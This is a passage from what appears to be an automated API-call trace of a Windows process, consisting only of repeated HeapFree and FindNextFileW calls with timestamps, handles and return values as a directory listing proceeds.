hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.169] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.514] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.515] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.515] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.517] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.517] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.518] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.518] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.520] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.521] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.522] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.522] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.524] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.525] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.527] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.527] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.528] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.528] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.529] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.578] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.578] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.585] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.585] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.589] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.589] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.593] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.593] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.601] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.602] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.602] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.607] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.607] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.611] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.616] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.621] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.628] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.633] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.633] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.638] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.638] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.643] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.690] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.690] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.895] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.895] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.898] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.898] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.902] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.905] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0262.905] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0262.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0262.905] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0262.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.919] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.928] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.949] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.949] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.954] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.419] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.422] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.424] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.426] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.426] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.426] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.426] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.428] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.428] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.430] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.432] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.434] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.436] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.438] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.753] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.758] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.758] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0263.871] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0263.871] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0264.048] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0264.048] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0264.180] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0264.180] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0264.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0264.748] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0264.881] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0264.881] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0264.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0264.929] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0264.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0264.938] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.206] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0265.337] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.539] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.607] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.607] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.661] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.661] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.751] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.763] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.826] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0265.826] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0265.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.844] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.844] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.845] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.846] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.847] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.864] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.868] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.868] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.877] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.894] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.894] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.895] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.895] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.900] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.900] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.901] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.901] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.902] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.902] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.903] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.903] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.904] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.904] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.905] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.906] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.906] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.907] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.908] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.908] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.909] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.909] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.910] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.910] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.911] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.911] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.915] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.916] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.917] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.917] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.918] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.919] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.920] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.921] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.922] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.922] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0265.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0265.923] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.125] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.147] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.168] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.171] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.171] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.173] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.178] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.190] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.201] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.201] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.280] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0266.326] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 